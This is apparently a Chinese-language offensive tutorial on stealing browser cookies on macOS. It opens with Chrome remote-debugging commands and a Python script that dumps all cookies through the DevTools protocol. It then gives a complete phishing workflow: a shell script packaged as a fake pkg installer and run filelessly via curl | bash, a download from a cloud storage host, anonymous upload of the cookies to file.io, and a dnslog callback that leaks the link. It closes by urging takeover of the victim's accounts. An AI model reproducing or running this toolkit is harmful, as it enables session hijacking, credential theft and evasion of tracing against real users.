HackBrowserData 是一个浏览器数据(密码|历史记录|Cookie|书签|信用卡|下载记录|localStorage|浏览器插件)的导出工具,支持全平台主流浏览器。

https://github.com/moonD4rk/HackBrowserData/blob/master/README_ZH.md

windows获取浏览器记录

mac使用远程调试:

启动远程调试

在 Mac 终端下启动浏览器的远程调试可以使用以下步骤:

  1. 首先确认远程调试已经打开,开启远程调试步骤如下:在要调试的浏览器中输入 chrome://inspect/#devices,勾选需要远程调试的页面后点击“inspect”即可。
  2. 在命令行中输入以下命令启动 Chrome 浏览器(或者其他需要调试的浏览器):
1
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222

如果要启动 Safari 浏览器,则可使用以下命令:

1
/Applications/Safari.app/Contents/MacOS/Safari -p 9222
  1. 接下来,在本机的 Chrome 浏览器中输入 localhost:9222 即可连接远程调试,选择要调试的页面进行远程调试。

1
2
3
4
5
6
7
8
"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" \
--remote-debugging-port=9222 \
--user-data-dir="/Users/${username}/Library/Application Support/Google/Chrome" \
--crash-dumps-dir=/tmp \
--disable-gpu \
--disk-cache-dir=/tmp \
--restore-last-session \
--remote-allow-origins=* &

获取浏览器现有的cookie

1
curl https://127.0.0.1:9222/json

然后你就会获取到大量的webSocketDebuggerUrl

用Simple WebSocket Client插件来实现

这里webSocketDebuggerUrl随机选一个填入就行,然后send {“id”: 1, “method”: “Network.getAllCookies”},就可以得到所有保存的cookie

用python脚本来实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import argparse
import csv
import json
import random
import urllib.request
import websocket

#mac的远程调试命令主要是三步
##1. 启动调试
##2. 获取webSocketDebuggerUrl
##3. 获取cookie

# 解析命令行参数
parser = argparse.ArgumentParser()
parser.add_argument("--ip", help="Chrome Remote Debugging IP", required=True)
parser.add_argument("--port", help="Chrome Remote Debugging Port", required=True)
args = parser.parse_args()


# 构造请求 JSON 数据的 URL
debugging_url = "http://{}:{}/json".format(args.ip, args.port)


# 获取可用的 WebSocket Url
with urllib.request.urlopen(debugging_url) as url:
data = json.loads(url.read().decode())
# 随机选取一个 url
webSocketDebuggerUrl = random.choice(data)["webSocketDebuggerUrl"]
print(webSocketDebuggerUrl)


# 连接 WebSocket,并请求 cookie 数据
ws = websocket.create_connection(webSocketDebuggerUrl)
ws.send('{"id": 1, "method": "Network.getAllCookies"}')
result = ws.recv()
response = json.loads(result)


cookies = response['result']['cookies']


with open('cookie.json', 'w') as f:
json.dump(cookies, f, indent=2)
print("cookie.json saved!")


# 将 cookie 写入 CSV 文件中
with open('cookie.csv', 'w', newline='') as f:
writer = csv.writer(f)
writer.writerow(['name', 'value', 'domain', 'path', 'expires', 'httpOnly', 'secure', 'sameSite'])
for cookie in cookies:
writer.writerow([
cookie.get('name', ''),
cookie.get('value', ''),
cookie.get('domain', ''),
cookie.get('path', ''),
cookie.get('expires', ''),
cookie.get('httpOnly', ''),
cookie.get('secure', ''),
cookie.get('sameSite', ''),
])
print("cookie.csv saved!")
total_cookies = len(cookies)
print("本次总计获取到 {} 条 cookie".format(total_cookies))


ws.close()

使用Cookie Editor添加所需的cookie,然后就可以直接操作了

自动化钓鱼或者入侵后的信息收集

一般分两种情况:

  1. 无论是钓鱼还是溯源,我们都需要让他自己运行一次,然后把cookie文件返回给我们
  2. 我们已经入侵了机器,现在只需要收集cookie文件就行,无需进行文件回传(直接操作下载就行)

钓鱼的思路:

写一个sh脚本用pkg打包或者dmg打包,伪装安装包的形式让其运行。

这里有几个要点:

  1. 执行的时候无文件落地
1
curl -s https://www.xxx.com/a.sh | bash

然后我们这里可以设置脚本一分钟内有效(防止溯源)用cos设置比较简单,或者有肉鸡站,使用完直接删除就行。

或者自己写一个接口,给他颁发一个key,这个key一次有效性,(类似于敲门的机制)

  1. 回传cookie文件的时候要匿名

使用匿名frp (https://file.io)

会直接返回一个存放文件的地址

1
2
# cookie_url=$(curl -F "file=@cookie.csv" https://file.io)
# json_url=$(curl -F "file=@your_file.json" https://file.io)

自动化的sh脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/bin/bash

# 1. Kill all Google Chrome processes
killall "Google Chrome"

# 2. Get current username
username=$(whoami)

# 3. Start Chrome Headless with the specified parameters, replacing "{用户名}" with the actual username
"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" \
--remote-debugging-port=9222 \
--user-data-dir="/Users/${username}/Library/Application Support/Google/Chrome" \
--crash-dumps-dir=/tmp \
--disable-gpu \
--disk-cache-dir=/tmp \
--restore-last-session \
--remote-allow-origins=* &

# 4. Download, extract, and execute Python project
curl -O -k https://google-1259711289.cos.ap-beijing.myqcloud.com/google.zip
unzip -P biubiubiu -o google.zip -d ~/Downloads/ && rm google.zip
cd ~/Downloads/google && pip3 install -r requirements.txt
python3 getcookie.py --ip 127.0.0.1 --port 9222

# 5. Upload cookie.csv and json to file.io, output URLs
# cookie_url=$(curl -F "file=@cookie.csv" https://file.io)
# json_url=$(curl -F "file=@your_file.json" https://file.io)
# 上传文件到file.io
response=$(curl -k -F "file=@cookie.csv" https://file.io)
file_link=$(echo $response | sed -n 's/.*"link":"https:\/\/file.io\/\([^"]*\).*/\1/p')


if [ -z "$file_link" ]; then
echo "文件上传失败:"
echo $response
exit 1
fi


echo "文件上传成功,链接:https://file.io/$file_link"


# 将URL编码为适用于DNS记录的字符串
encoded_file_link=$(printf ${file_link//:/_%3A_} | tr '/.' '_%2E_')
USERNAME="$encoded_file_link"
echo USERNAME
# 将文件链接发送到dnslog
DOMAIN="$1"
curl "http://$USERNAME.$DOMAIN" -s -o /dev/null
killall "Google Chrome"
rm -rf ~/Downloads/google

这里取决于你想不想把文件给发送回来,如果是钓鱼的话,还是要发送回来的

1
curl -s "你的脚本链接" |bash -s -- 你的dnslog地址

然后打包一个pkg安装包,把这个放进去就可以进行钓鱼了。准备好你的sh远程地址和dnslog地址就行。 当然你也可以直接加上上线的命令。直接就一劳永逸。

信息收集的思路:

直接进去无文件落地+cos一分钟有效授权就开了弄

1
curl -s "你的脚本链接" |bash -s -- 你的dnslog地址

然后你会在dnslog看到你的文件链接。直接https://file.io/+你的文件链接

然后你就可以拿到cookie了。筛选后用Cookie Editor,上去看看他能干啥,修改个密码啥的。你想干啥就干啥